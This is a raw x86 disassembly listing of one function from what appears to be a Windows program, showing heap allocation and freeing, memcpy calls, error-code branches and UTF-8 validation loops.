mov ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0x148], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0x14c], eax
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47f13d
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f645
mov ecx, 9
jmp 0x47f01d
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0x138], eax
je 0x47f38c
mov ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0x13c], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0x140], eax
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47f1b9
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f5d4
mov ecx, 0xa
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f798
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0x12c], eax
je 0x47f3ac
mov eax, dword [esp + 0x178]
lea ecx, [esp + 0x58]
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0x17c]
mov dword [esp + 0x130], eax
call fcn.00471040
test al, 1
mov dword [esp + 4], edx
jne 0x47f563
mov esi, eax
and eax, 0xff00
xor eax, 0x200
je 0x47f3cc
lea ecx, [esp + 0x58]
call fcn.00471040
test al, 1
mov dword [esp + 4], edx
jne 0x47f563
mov edi, eax
and eax, 0xff00
xor eax, 0x200
je 0x47f3d6
lea ecx, [esp + 0x58]
call fcn.00471040
test al, 1
mov dword [esp + 4], edx
jne 0x47f563
mov ebx, eax
and eax, 0xff00
xor eax, 0x200
je 0x47f481
lea ecx, [esp + 0x58]
call fcn.00471040
test al, 1
mov dword [esp + 4], edx
mov dword [esp + 0x2c], eax
jne 0x47f563
mov eax, dword [esp + 0x2c]
and eax, 0xff00
xor eax, 0x200
je 0x47f53a
lea ecx, [esp + 0x58]
call fcn.00471040
test al, 1
mov dword [esp + 4], edx
mov dword [esp + 0x54], eax
jne 0x47f563
mov eax, dword [esp + 0x54]
and eax, 0xff00
xor eax, 0x200
je 0x47f541
lea ecx, [esp + 0x170]
lea edx, [esp + 0x58]
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47f3e0
mov eax, dword [esp + 0x174]
jmp 0x47f55f
mov ecx, edi
call fcn.00505ac0
lea ecx, [esp + 0x170]
call fcn.0047af90
call fcn.004fd450
lea esi, [esp + 0x170]
mov ecx, esi
call fcn.00483300
mov ecx, esi
call fcn.0041af00
lea ecx, [esp + 0x3b8]
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3b8], eax
call fcn.00486c70
mov ecx, esi
call fcn.00486cc0
call fcn.00486ec0
mov ecx, 1
call fcn.005ed5b0
ud2
mov ecx, 0xb
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f727
mov ecx, dword [esp + 0x70]
jmp 0x4821cc
mov ecx, 0xc
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f6b6
mov ecx, 0xd
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f645
mov ecx, 0xe
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f5d4
mov ecx, 0xf
jmp 0x47f54d
mov ecx, 0x10
jmp 0x47f54d
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0x120], eax
je 0x47f548
mov ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0x124], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0x128], eax
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47f48b
mov eax, dword [esp + 0x174]
cmp dword [esp + 0x124], 0
mov dword [esp + 4], eax
je 0x4832bc
mov eax, dword [esp + 0x120]
lea edi, [eax + 4]
mov eax, dword [esp + 0x124]
shl eax, 2
lea ebx, [eax + eax*2]
jmp 0x47f46a
add edi, 0xc
add ebx, 0xfffffff4
je 0x4832bc
cmp dword [edi], 0
je 0x47f45e
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f45e
mov ecx, 0x11
jmp 0x47f54d
mov eax, dword [esp + 0x174]
test eax, eax
je 0x483293
mov ecx, eax
mov eax, dword [esp + 0x178]
movsd xmm0, qword [esp + 0x938]
movsd xmm1, qword [esp + 0x940]
and bh, 1
mov dword [esp + 0x1c], ebx
xor ebx, ebx
mov dword [esp + 0x2d0], ecx
mov dword [esp + 0x2d8], eax
mov eax, dword [esp + 0x17c]
movsd qword [esp + 0xe8], xmm0
movsd xmm0, qword [esp + 0x947]
movsd qword [esp + 0xf0], xmm1
mov dword [esp + 0x2d4], eax
mov eax, esi
movsd qword [esp + 0xf7], xmm0
xor esi, esi
and ah, 1
mov dword [esp + 0x24], eax
mov eax, edi
mov edi, dword [esp + 0x2cc]
and ah, 1
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
and ah, 1
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x54]
and ah, 1
mov dword [esp + 0x54], eax
mov al, 1
mov dword [esp + 0x28], eax
jmp 0x47f974
mov ecx, 0x12
jmp 0x47f54d
mov ecx, 0x13
jmp 0x47f54d
mov ecx, 0x14
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
cmp dword [esp + 0x130], 0
je 0x47f5a5
mov eax, dword [esp + 0x12c]
lea edi, [eax + 4]
mov eax, dword [esp + 0x130]
shl eax, 2
lea ebx, [eax + eax*2]
jmp 0x47f58e
add edi, 0xc
add ebx, 0xfffffff4
je 0x47f5a5
cmp dword [edi], 0
je 0x47f586
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f586
cmp dword [esp + 0x134], 0
je 0x47f5d4
mov eax, dword [esp + 0x134]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f5d4
push dword [esp + 0x12c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x13c], 0
je 0x47f616
mov eax, dword [esp + 0x138]
lea edi, [eax + 4]
mov eax, dword [esp + 0x13c]
shl eax, 2
lea ebx, [eax + eax*2]
jmp 0x47f5ff
add edi, 0xc
add ebx, 0xfffffff4
je 0x47f616
cmp dword [edi], 0
je 0x47f5f7
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f5f7
cmp dword [esp + 0x140], 0
je 0x47f645
mov eax, dword [esp + 0x140]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f645
push dword [esp + 0x138]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x148], 0
je 0x47f687
mov eax, dword [esp + 0x144]
lea edi, [eax + 4]
mov eax, dword [esp + 0x148]
shl eax, 2
lea ebx, [eax + eax*2]
jmp 0x47f670
add edi, 0xc
add ebx, 0xfffffff4
je 0x47f687
cmp dword [edi], 0
je 0x47f668
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f668
cmp dword [esp + 0x14c], 0
je 0x47f6b6
mov eax, dword [esp + 0x14c]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f6b6
push dword [esp + 0x144]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x154], 0
je 0x47f6f8
mov eax, dword [esp + 0x150]
lea edi, [eax + 4]
mov eax, dword [esp + 0x154]
shl eax, 2
lea ebx, [eax + eax*2]
jmp 0x47f6e1
add edi, 0xc
add ebx, 0xfffffff4
je 0x47f6f8
cmp dword [edi], 0
je 0x47f6d9
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f6d9
cmp dword [esp + 0x158], 0
je 0x47f727
mov eax, dword [esp + 0x158]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f727
push dword [esp + 0x150]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xac], 0
je 0x47f769
mov eax, dword [esp + 0xbc]
lea edi, [eax + 4]
mov eax, dword [esp + 0xac]
shl eax, 2
lea ebx, [eax + eax*2]
jmp 0x47f752
add edi, 0xc
add ebx, 0xfffffff4
je 0x47f769
cmp dword [edi], 0
je 0x47f74a
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f74a
cmp dword [esp + 0x88], 0
je 0x47f798
mov eax, dword [esp + 0x88]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f798
push dword [esp + 0xbc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0xd0]
mov eax, dword [esp + 0xc0]
test ecx, ecx
je 0x47f7d4
shl ecx, 2
lea edi, [eax + 4]
lea ebx, [ecx + ecx*2]
jmp 0x47f7bd
add edi, 0xc
add ebx, 0xfffffff4
je 0x47f7d4
cmp dword [edi], 0
je 0x47f7b5
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f7b5
mov eax, dword [esp + 0xd4]
test eax, eax
je 0x47f7fd
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f7fd
push dword [esp + 0xc0]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0xdc]
test ebx, ebx
je 0x47f877
mov edi, dword [esp + 0xc4]
shl ebx, 3
lea ebx, [ebx + ebx*2]
add edi, 0x10
jmp 0x47f832
add edi, 0x18
add ebx, 0xffffffe8
je 0x47f877
cmp dword [edi - 0xc], 0
je 0x47f854
push dword [edi - 0x10]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
cmp dword [edi], 0
je 0x47f82a
push dword [edi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
jmp 0x47f82a
test edx, edx
je 0x482d59
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x98]
shl edx, 3
lea eax, [edx + edx*2]
test eax, eax
je 0x47f8ac
push dword [esp + 0xc4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x47f8c2
push ecx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xe0], 0
mov eax, dword [esp + 0xe4]
je 0x47f8e1
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xc8], 0
mov eax, dword [esp + 0xcc]
je 0x47f900
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x50]
test ebx, ebx
je 0x47f916
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x18]
test esi, esi
je 0x47f92c
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 4]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2cc]
test edi, edi
je 0x47f94d
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov bl, 1
mov esi, 1
mov dword [esp + 0x54], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], eax
inc byte [esp + 0x2f8]
lea ecx, [esp + 0x2e0]
call fcn.00520e20
mov ecx, dword [esp + 4]
mov dword [esp + 0x170], esi
movsd xmm0, qword [esp + 0xe8]
movq xmm1, qword [esp + 0xf0]
test bl, bl
mov dword [esp + 0x174], ecx
mov cl, byte [esp + 0xd8]
mov byte [esp + 0x178], cl
movsd qword [esp + 0x179], xmm0
movsd xmm0, qword [esp + 0xf7]
mov ecx, dword [esp + 0x6c]
movq qword [esp + 0x181], xmm1
movsd qword [esp + 0x188], xmm0
mov dword [esp + 0x190], edi
mov dword [esp + 0x198], ecx
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x194], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x19c], ecx
mov ecx, dword [esp + 0x16c]
mov dword [esp + 0x1a4], ecx
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x1a0], ecx
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x1a8], ecx
mov ecx, dword [esp + 0x168]
mov dword [esp + 0x1b0], ecx
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x1ac], ecx
mov ecx, dword [esp + 0xcc]
mov dword [esp + 0x1b4], ecx
mov ecx, dword [esp + 0x164]
mov dword [esp + 0x1bc], ecx
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x1b8], ecx
mov ecx, dword [esp + 0xe4]
mov dword [esp + 0x1c0], ecx
mov ecx, dword [esp + 0x160]
mov dword [esp + 0x1c8], ecx
mov ecx, dword [esp + 0xe0]
mov dword [esp + 0x1c4], ecx
mov ecx, dword [esp + 8]
mov dword [esp + 0x1cc], ecx
mov ecx, dword [esp + 0x15c]
mov dword [esp + 0x1d4], ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x1d0], ecx
mov ecx, dword [esp + 0xc4]
mov dword [esp + 0x1d8], ecx
mov ecx, dword [esp + 0xdc]
mov dword [esp + 0x1e0], ecx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x1dc], ecx
mov ecx, dword [esp + 0xc0]
mov dword [esp + 0x1e4], ecx
mov ecx, dword [esp + 0xd0]
mov dword [esp + 0x1ec], ecx
mov ecx, dword [esp + 0xd4]
mov dword [esp + 0x1e8], ecx
mov ecx, dword [esp + 0xbc]
mov dword [esp + 0x1f0], ecx
mov ecx, dword [esp + 0xac]
mov dword [esp + 0x1f8], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp + 0x1f4], ecx
mov ecx, dword [esp + 0x150]
mov dword [esp + 0x1fc], ecx
mov ecx, dword [esp + 0x154]
mov dword [esp + 0x204], ecx
mov ecx, dword [esp + 0x158]
mov dword [esp + 0x200], ecx
mov ecx, dword [esp + 0x144]
mov dword [esp + 0x208], ecx
mov ecx, dword [esp + 0x148]
mov dword [esp + 0x210], ecx
mov ecx, dword [esp + 0x14c]
mov dword [esp + 0x20c], ecx
mov ecx, dword [esp + 0x138]
mov dword [esp + 0x214], ecx
mov ecx, dword [esp + 0x13c]
mov dword [esp + 0x21c], ecx
mov ecx, dword [esp + 0x140]
mov dword [esp + 0x218], ecx
mov ecx, dword [esp + 0x12c]
mov dword [esp + 0x220], ecx
mov ecx, dword [esp + 0x130]
mov dword [esp + 0x228], ecx
mov ecx, dword [esp + 0x134]
mov dword [esp + 0x224], ecx
mov ecx, dword [esp + 0x120]
mov dword [esp + 0x22c], ecx
mov ecx, dword [esp + 0x124]
mov dword [esp + 0x234], ecx
mov ecx, dword [esp + 0x128]
mov dword [esp + 0x230], ecx
mov ecx, dword [esp + 0x2d0]
mov dword [esp + 0x238], ecx
mov ecx, dword [esp + 0x2d4]
mov dword [esp + 0x240], ecx
mov ecx, dword [esp + 0x2d8]
mov dword [esp + 0x23c], ecx
mov ecx, dword [esp + 0x30]
mov byte [esp + 0x244], ch
mov ecx, dword [esp + 0x24]
mov byte [esp + 0x245], ch
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x246], ch
mov ecx, dword [esp + 0x1c]
mov byte [esp + 0x247], ch
mov ecx, dword [esp + 0x2c]
mov byte [esp + 0x248], ch
mov ecx, dword [esp + 0x54]
mov byte [esp + 0x249], ch
movzx ecx, word [esp + 0xa0]
mov word [esp + 0x24e], cx
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x24a], ecx
lea ecx, [esp + 0x178]
mov dword [esp + 0x250], eax
jne 0x47fcb2
test eax, eax
mov dword [esp + 4], eax
je 0x480389
cmp byte [esp + 0x28], 0
je 0x47fcc9
call fcn.0046b6c0
mov esi, dword [esp + 4]
mov edi, 1
jmp 0x47fce4
mov esi, dword [esp + 4]
mov eax, ebx
mov edi, 1
xor al, 1
je 0x47fce4
lea ecx, [esp + 0x174]
call fcn.00520f00
test bl, bl
je 0x47fcfe
cmp dword [esp + 0x250], 0
je 0x47fcfe
lea ecx, [esp + 0x250]
call fcn.00520f00
test edi, edi
jne 0x4803b3
lea eax, [esp + 0x7c8]
lea esi, [esp + 0x670]
push 0xd8
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [esp + 0x528]
push 0xd8
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x2e4]
mov ecx, dword [esp + 0x2e8]
cmp ecx, eax
jae 0x47fd9b
mov edx, dword [esp + 0x2e0]
mov edi, eax
inc ecx
mov bl, 1
neg edi
mov dword [esp + 4], edx
nop dword [eax]
mov edx, dword [esp + 4]
mov bh, byte [edx + ecx - 1]
add bh, 0xf7
cmp bh, 0x17
ja 0x480352
movzx esi, bh
mov edx, 0x800013
bt edx, esi
jae 0x480352
cmp ecx, eax
lea esi, [edi + ecx + 1]
mov dword [esp + 0x2e8], ecx
setb bl
inc ecx
cmp esi, 1
jne 0x47fd60
push 0xcd
lea eax, [esp + 0x52c]
push eax
lea eax, [esp + 0x178]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov al, byte [esp + 0x5f5]
movsd xmm0, qword [esp + 0x5f6]
movzx ecx, word [esp + 0x5fe]
cmp dword [esp + 0x2f0], 0
mov byte [esp + 4], al
movsd qword [esp + 0x3b8], xmm0
mov word [esp + 0x3c0], cx
je 0x47fe03
push dword [esp + 0x2ec]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea eax, [esp + 0x938]
push 0xcd
lea ecx, [esp + 0x174]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, word [esp + 0x3c0]
movsd xmm0, qword [esp + 0x3b8]
mov bl, 1
mov word [esp + 0x518], ax
mov eax, dword [esp + 0x110]
movsd qword [esp + 0x510], xmm0
cmp dword [esp + 0x70], 0
je 0x47fe60
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test bl, bl
mov bl, byte [esp + 4]
jne 0x47fed7
mov eax, dword [esi]
cmp eax, 1
je 0x47fe7e
test eax, eax
jne 0x47fec9
cmp dword [esi + 8], 0
je 0x47fec9
lea edi, [esi + 4]
jmp 0x47feba
cmp byte [esi + 4], 3
jne 0x47fec9
mov ebx, dword [esi + 8]
lea edi, [esi + 8]
mov eax, dword [ebx + 4]
push dword [ebx]
call dword [eax]
add esp, 4
mov ecx, dword [ebx + 4]
cmp dword [ecx + 4], 0
je 0x47feb6
mov eax, dword [ebx]
cmp dword [ecx + 8], 9
jb 0x47fea8
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov bl, byte [esp + 4]
push dword [edi]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp bl, 2
jne 0x47feee
mov esi, dword [esp + 0xb0]
mov bl, 3
mov dword [esp + 4], eax
jmp 0x481e58
lea eax, [esp + 0x938]
lea ecx, [esp + 0x2e0]
push 0xcd
push eax
push ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [esp + 0x510]
movzx eax, word [esp + 0x518]
mov byte [esp + 0x3ad], bl
mov edx, 0xaaaaaaab
movsd qword [esp + 0x3ae], xmm0
mov word [esp + 0x3b6], ax
mov esi, dword [esp + 0x318]
lea ecx, [esi*4]
mov eax, ecx
mul edx
mov ebx, edx
shr ebx, 1
test ecx, ecx
je 0x47ff8a
mov eax, dword [0x6f1130]
test eax, eax
jne 0x47ff6e
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x482163
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x482163
mov esi, dword [esp + 0x318]
mov edi, eax
jmp 0x47ff8f
mov edi, 1
mov eax, esi
mov dword [esp + 0x3b8], edi
mov dword [esp + 0x3bc], ebx
mov dword [esp + 0x3c0], 0
mov dword [esp + 4], esi
add eax, 7
jb 0x482ea9
mov ecx, dword [esp + 0x310]
mov edx, ebx
mov ebx, eax
shr ebx, 3
cmp eax, 8
mov dword [esp + 0x30], ecx
lea ecx, [ebx + ebx]
lea esi, [ecx + ecx*2]
jb 0x480007
xor eax, eax
cmp edx, esi
jb 0x480505
lea ecx, [esi - 1]
mov dword [esp + 0x70], eax
add eax, edi
push ecx
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [esp + 0x70]
lea esi, [esi + eax - 1]
mov byte [edi + esi], 0
inc esi
mov edi, dword [esp + 0x3b8]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x3c0], esi
lea ecx, [esp + 0x170]
push esi
push edi
push ebx
push dword [esp + 0x10]
call fcn.00475ec0
add esp, 0x10
cmp dword [esp + 0x170], 1
jne 0x480066
mov eax, dword [esp + 0x3b8]
cmp byte [esp + 0x174], 3
je 0x480084
cmp dword [esp + 0x3bc], 0
je 0x48005b
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov bl, 2
mov dword [esp + 4], eax
jmp 0x48199b
mov eax, dword [esp + 0x174]
cmp dword [esp + 0x3c0], eax
jb 0x48007d
mov dword [esp + 0x3c0], eax
mov eax, dword [esp + 0x3b8]
movzx ecx, byte [esp + 0x3bf]
mov edi, dword [esp + 0x3b9]
mov esi, dword [esp + 0xb0]
movzx eax, al
mov dword [esp + 0x2c], ecx
movzx ecx, word [esp + 0x3bd]
mov dword [esp + 0x54], edi
shl edi, 8
or edi, eax
mov edx, edi
mov dword [esp + 0x110], ecx
lea ecx, [esp + 0x170]
push dword [esp + 0x3c0]
call fcn.004d2e00
add esp, 4
mov edx, dword [esp + 0x170]
test edx, edx
je 0x4800e7
mov bl, 2
mov dword [esp + 4], eax
jmp 0x481967
mov eax, dword [esp + 0x1a0]
mov dword [esp + 0x168], edx
cmp eax, 5
jb 0x480115
test eax, 0x1fffffff
je 0x480115
push dword [esp + 0x17c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x1d0]
mov dword [esp + 0x16c], edi
cmp eax, 5
jb 0x480143
test eax, 0x1fffffff
je 0x480143
push dword [esp + 0x1ac]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea esi, [esp + 0x670]
mov ecx, esi
call fcn.00483300
lea eax, [esp + 0x7c8]
push 0x158
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea ecx, [esp + 0x9c]
call fcn.005dfad0
mov edx, dword [esp + 0xa4]
mov eax, dword [esp + 0xa8]
cmp edx, eax
je 0x480312
lea ecx, [edx + 0xc]
mov dword [esp + 0xa4], ecx
mov edi, dword [edx]
movsd xmm0, qword [edx + 4]
test edi, edi
movsd qword [esp + 0x3b8], xmm0
je 0x480312
sub eax, ecx
mov edx, dword [esp + 0x3b8]
mov esi, dword [esp + 0x3bc]
sar eax, 2
imul ecx, eax, 0xaaaaaaab
mov eax, 0xffffffff
inc ecx
mov dword [esp + 0x528], edx
cmovne eax, ecx
mov edx, 0xc
mov dword [esp + 0x52c], esi
mul edx
jo 0x482de6
mov esi, eax
test eax, eax
js 0x482de6
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48020d
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x482fc9
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x482fc9
mov ecx, eax
mov eax, esi
mov edx, 0xaaaaaaab
mov esi, 1
xor ebx, ebx
mov dword [ecx], edi
mul edx
movsd xmm0, qword [esp + 0x528]
shr edx, 3
movsd qword [ecx + 4], xmm0
mov dword [esp + 0x170], ecx
mov dword [esp + 0x174], edx
mov dword [esp + 0x178], 1
mov eax, dword [esp + 0xa4]
mov edx, dword [esp + 0xa8]
mov dword [esp + 0x30], edx
sub edx, eax
mov dword [esp + 4], eax
add edx, 0xfffffff4
mov dword [esp + 0x70], edx
jmp 0x4802a3
mov dword [ecx + ebx + 0xc], edi
add dword [esp + 0x70], 0xfffffff4
inc esi
movsd xmm0, qword [esp + 0x3b8]
movsd qword [ecx + ebx + 0x10], xmm0
mov dword [esp + 0x178], esi
add ebx, 0xc
mov eax, dword [esp + 4]
add eax, ebx
cmp eax, dword [esp + 0x30]
je 0x480406
lea edx, [eax + 0xc]
mov dword [esp + 0xa4], edx
mov edi, dword [eax]
test edi, edi
je 0x480406
movsd xmm0, qword [edx - 8]
cmp esi, dword [esp + 0x174]
movsd qword [esp + 0x3b8], xmm0
jne 0x480280
mov eax, dword [esp + 0x70]
mov ecx, 0xffffffff
mov edx, esi
sar eax, 2
imul eax, eax, 0xaaaaaaab
inc eax
cmove eax, ecx
lea ecx, [esp + 0x170]
push eax
call fcn.0047ded0
add esp, 4
mov ecx, dword [esp + 0x170]
jmp 0x480280
mov eax, dword [0x6d6b64]
mov dword [esp + 0xe8], eax
mov dword [esp + 0xec], 0
mov dword [esp + 0xf0], 0
test byte [esp + 0x7d1], 0x20
mov dword [esp + 0xf4], 0
je 0x48043f
jmp 0x4805cf
test bl, 1
je 0x47fd9b
lea ecx, [esp + 0x2e0]
lea edx, [esp + 0x170]
mov dword [esp + 0x170], 0x13
call fcn.0046b5d0
lea ecx, [esp + 0x528]
mov esi, eax
call fcn.0046b6c0
jmp 0x4803c3
lea eax, [esp + 0x7c8]
push 0xd8
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
xor edi, edi
cmp byte [esp + 0x28], 0
mov bl, 1
je 0x47fcd8
jmp 0x47fce4
lea edx, [esp + 0x2e0]
mov ecx, esi
call fcn.00524320
mov esi, eax
mov eax, dword [esp + 0x110]
cmp dword [esp + 0x2f0], 0
je 0x4803ef
push dword [esp + 0x2ec]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x110]
mov byte [esp + 4], 2
xor ebx, ebx
cmp dword [esp + 0x70], 0
jne 0x47fe52
jmp 0x47fe60
movsd xmm0, qword [esp + 0x170]
mov eax, dword [esp + 0x178]
movsd qword [esp + 0xe8], xmm0
mov dword [esp + 0xf0], eax
test byte [esp + 0x7d1], 0x20
mov dword [esp + 0xf4], 0
jne 0x4805cf
cmp dword [esp + 0xf0], 0
je 0x4805cf
mov eax, dword [esp + 0xe8]
mov dword [esp + 0xf4], 1
push eax
call fcn.005e0110
add esp, 4
test eax, eax
je 0x4805cf
mov ecx, eax
call fcn.005e6800
test eax, eax
mov dword [esp + 4], eax
je 0x4805cf
mov esi, edx
test edx, edx
je 0x480578
mov ecx, dword [esp + 4]
mov eax, ecx
add eax, esi
jmp 0x4804a1
mov ecx, edx
cmp ecx, eax
je 0x48052a
movzx ebx, byte [ecx]
lea edx, [ecx + 1]
test bl, bl
jns 0x480497
cmp bl, 0xe0
jae 0x4804ba
add ecx, 2
cmp edx, eax
cmove ecx, edx
jmp 0x480499
cmp bl, 0xed
jne 0x4804da
add ecx, 2
cmp edx, eax
cmove ecx, edx
cmp ecx, eax
je 0x48052a
inc ecx
cmp edx, eax
je 0x480499
cmp byte [edx], 0x9f
jbe 0x480499
jmp 0x4805cf
add ecx, 2
mov edi, esi
cmp edx, eax
mov esi, ecx
cmove esi, edx
xor ecx, ecx
cmp esi, eax
setne cl
add ecx, esi
cmp bl, 0xf0
jae 0x4804f8
mov esi, edi
jmp 0x480499
xor edx, edx
cmp ecx, eax
mov esi, edi
setne dl
add ecx, edx
jmp 0x480499
lea ecx, [esp + 0x3b8]
xor edx, edx
push esi
call fcn.005f2340
add esp, 4
mov edi, dword [esp + 0x3b8]
mov eax, dword [esp + 0x3c0]
jmp 0x47ffde
cmp dword [esp + 0x818], 0
jne 0x4805cf
test esi, esi
js 0x482de6
lea edi, [esp + 0x818]
je 0x480589
mov eax, dword [0x6f1130]
test eax, eax
jne 0x480564
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4820f5
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov ebx, eax
test eax, eax
jne 0x48058e
jmp 0x4820f5
cmp dword [esp + 0x818], 0
jne 0x4805cf
lea edi, [esp + 0x818]
mov ebx, 1
push esi
push dword [esp + 8]
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x818]
test eax, eax
je 0x4805bf
cmp dword [esp + 0x81c], 0
je 0x4805bf
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov dword [edi], ebx
